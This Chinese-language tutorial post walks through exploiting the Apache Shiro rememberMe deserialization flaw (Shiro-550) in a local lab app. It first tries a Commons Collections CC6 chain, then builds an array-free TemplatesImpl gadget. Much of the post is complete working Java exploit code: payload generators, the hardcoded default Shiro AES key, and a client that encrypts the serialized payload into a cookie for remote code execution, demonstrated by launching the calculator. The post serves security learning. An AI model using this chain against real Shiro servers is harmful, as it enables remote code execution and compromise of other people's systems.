TemplatesImpl在Shiro中的利用

通过TemplatesImpl构造的利用链,理论上可以执行任意Java代码,它不受到对于链的限制,特别是内存马逐渐流行之后,执行任意Java代码的需求就更加浓烈。

这篇继续跟着p牛,以Shiro反序列化漏洞为例实际使用一下TemplatesImpl

使用CC6攻击Shiro

先来说一下Shiro反序列化原理:为了让浏览器或服务器重启后不丢失登录状态,Shiro支持持久化信息序列化并加密后保存在Cookie、的rememberMe字段中,下次读取时进行解密再反序列化。但是在Shiro 1.2.4版本之前内置了一个默认且固定的加密Key,导致攻击者可以为在任意的rememberMe Cookie,进而触发反序列化漏洞。

这里我们直接用P牛的这个登录应用,可以在IDEA上右键运行

CC6_shiro_1.png

输入正确的账号密码,root/secret,成功登陆:

CC6_shiro_2.png

如果登录时选择了remember me的多选框,那么登录成功后服务端会返回一个rememberMe的Cookie:

CC6_shiro_3.png

诶🤓👆接下来就是攻击时间:

  1. 用前面学的CC链生成一个序列化Payload
  2. 用Shiro默认Key进行加密
  3. 将密文作为rememberMe的Cookie发送给服务端

前两步整成了一个Client0.java,其中我们用到了CC6

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CommonsCollections6 {
public byte[] getPayload(String command) throws Exception {
Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] { String.class,
Class[].class }, new Object[] { "getRuntime",
new Class[0] }),
new InvokerTransformer("invoke", new Class[] { Object.class,
Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class },
new String[] { command }),
new ConstantTransformer(1),
};
Transformer transformerChain = new ChainedTransformer(fakeTransformers);

// 不再使用原CommonsCollections6中的HashSet,直接使用HashMap
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);

TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");

Map expMap = new HashMap();
expMap.put(tme, "valuevalue");

outerMap.remove("keykey");

Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain, transformers);

ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(expMap);
oos.close();

return barr.toByteArray();
}
}
1
2
3
4
5
6
7
8
9
10
11
12
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;

public class Client0 {
public static void main(String []args) throws Exception {
byte[] payloads = new CommonsCollections6().getPayload("calc.exe");
AesCipherService aes = new AesCipherService();
byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
ByteSource ciphertext = aes.encrypt(payloads, key);
System.out.printf(ciphertext.toString());
}
}

加密的过程用了Shiro内置类org.apache.shiro.crypto.AesCipherService,最后生成一段base64字符串。

然后我们直接把这段字符串作为rememberMe的值(不做url编码),发送给shiro。结果Tomcat出现报错

CC6_shiro_4.png

冲突与限制

首先呢我们找到org.apache.shiro.io.ClassResolvingObjectInputStream这个类。这个是ObjectInputStream的子类,它重写了resolveClass这个方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public class ClassResolvingObjectInputStream extends ObjectInputStream {
public ClassResolvingObjectInputStream(InputStream inputStream) throws IOException {
super(inputStream);
}

protected Class<?> resolveClass(ObjectStreamClass osc) throws IOException, ClassNotFoundException {
try {
return ClassUtils.forName(osc.getName());
} catch (UnknownClassException var3) {
UnknownClassException e = var3;
throw new ClassNotFoundException("Unable to load ObjectStreamClass [" + osc + "]: ", e);
}
}
}

resolveClass是反序列化中用来查找类的方法,就是在读取序列化流的时候,读到一个字符串形式的类名,需要通过这个方法来找到对应的java.lang.class对象。

那我们再来看一下正常的ObjectInputStream类中的resolveClass方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
protected Class<?> resolveClass(ObjectStreamClass desc)
throws IOException, ClassNotFoundException
{
String name = desc.getName();
try {
return Class.forName(name, false, latestUserDefinedLoader());
} catch (ClassNotFoundException ex) {
Class<?> cl = primClasses.get(name);
if (cl != null) {
return cl;
} else {
throw ex;
}
}
}

前面这个用的是org.apache.shiro.util.ClassUtils#forname(实际上内部用到了org.apache.catalina.loader.Para;;e;webappClassLoader#loadClass),而后者用的是Java原生的Class.forname

那么,为了弄清楚是哪个类造成了异常,我们在异常的地方打个断点

CC6_shiro_5.png

出异常时加载的类名为[Lorg.apache.commons.collections.Transformer[L是JVM的一个标识表示这是一个数组,这一整个表示的就是org.apache.commons.collections.Transformer的数组

实际上是如果在反序列化流中包含非java自身的数组,那么会出现无法加载类的错误。CC6中就是因为出现Transformer数组才无法利用。所以我们要构造一个不含数组的反序列化Gadget。

不含数组的反序列化Gadget

这里我们就要用到前面讲的TemplatesImpl了,在前面的学习中我们知道可以通过下面这几行代码来执行一段Java的字节码:

1
2
3
4
5
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][] {"...bytescode"});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
obj.newTransformer();

然后在CC3这篇我们又知道了用InvokerTransformer来调用TransformerImpl#newTransformer方法:

1
2
3
4
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(obj),
new InvokerTransformer("newTransformer",null,null)
};

但这里我们还是用到了Transformer数组,接下来就是想如何取出这一过程的Transformer数组

CC6中,我们有用过一个类TiedMapEntry,其构造方法接受两个参数,参数1是一个Map,参数2是一个key。TiedMapEntry类有个getValuefangfa 调用了map的get方法,并传入key:

1
2
3
public Object getValue() {
return this.map.get(this.key);
}

那么当这个map是LazyMap时,其get方法就是触发transform的关键点:

1
2
3
4
5
6
7
8
9
public Object get(Object key) {
if (!this.map.containsKey(key)) {
Object value = this.factory.transform(key);
this.map.put(key, value);
return value;
} else {
return this.map.get(key);
}
}

我们之前用LazyMap没有关注过这个参数key,因为通常Transformer数组的首个对象是ContantTransformer,我们通过ConstantTransformer来初始化恶意对象。

但此时我们无法用Transformer数组了,那么也就不能用ConstantTransformer,但从上面的代码中可以发现这个参数key会被传入transformer(),所以它可以扮演ConstantTransformer的角色——一个简单的对象传递者。

那么我们再回去看前面的Transformer数组:

1
2
3
4
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(obj),
new InvokerTransformer("newTransformer",null,null)
};

这里的new ContentTransformer(obj)这一步就可以完全去除了,数组长度变成了1,那也就不需要数组了。

那么接下来我们就来改造一下我们的CC6

改造CommonsCollections6为CommonsCollectionsShiro

首先还是创建TemplatesImpl对象:

1
2
3
4
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][] {"...bytescode"});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

然后我们创建一个用来调用newTramsformer方法的InvokerTransormer,此时需要先传入一个人畜无害的方法,比如getClass,避免恶意方法在构造Gadget的时候触发:

1
Transformer transformer = new InvokerTransformer("getClass", null, null);

然后我们再把老的CC6代码复制过来,改掉上一节说到的点,将原来TiedMapEntry构造时的第二个参数key,改为前面创建的TemplatesImpl对象:

1
2
3
4
5
6
7
8
9
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformer);

TiedMapEntry tme = new TiedMapEntry(outerMap, obj);

Map expMap = new HashMap();
expMap.put(tme, "valuevalue");

outerMap.clear();

这与之前的CC6不同的是,之前是使用outerMap.remove("keykey");来移除key的副作用,现在是通过outerMap.clear(),效果相同。

完整代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class CommonsCollectionsShiro {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}

public byte[] getPayload(byte[] clazzBytes) throws Exception {
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][] {clazzBytes});

setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

Transformer transformer = new InvokerTransformer("getClass", null, null);
// 不再使用原CommonsCollections6中的HashSet,直接使用HashMap
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformer);

TiedMapEntry tme = new TiedMapEntry(outerMap, obj);

Map expMap = new HashMap();
expMap.put(tme, "valuevalue");

outerMap.clear();
setFieldValue(transformer, "iMethodName", "newTransformer");

// ==================
// 生成序列化字符串
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(expMap);
oos.close();

return barr.toByteArray();
}
}

使用CommonsCollectionsShiro攻击Shiro

写了个Client类来装配上面的CommonsCollectionsShiro:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;

public class Client {
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.get(org.example.test.testCalc.class.getName());
byte[] payloads = new CommonsCollectionsShiro().getPayload(clazz.toBytecode());

AesCipherService aes = new AesCipherService();
byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");

ByteSource ciphertext = aes.encrypt(payloads, key);
System.out.printf(ciphertext.toString());
}
}

这里用到了javassist,这是一个字节码操纵的第三方库,可以帮我们把恶意类com.govuln.shiroattack.Evil生成字节码再交给TemplatesImpl

把生成的POC,在Cookie里进行发送,成功弹出计算器

CC6_shiro_6.png

但还有几点需要注意

  • Shiro不是遇到Tomcat就一定会有数组这个问题
  • Shiro-550的修复并不意味着反序列化漏洞的修复,只是默认key被溢出了
  • 不建议上来就装Commons-collectiongs4.0,这个没有代表性,不建议将shiro和Commons-Collections结合起来学习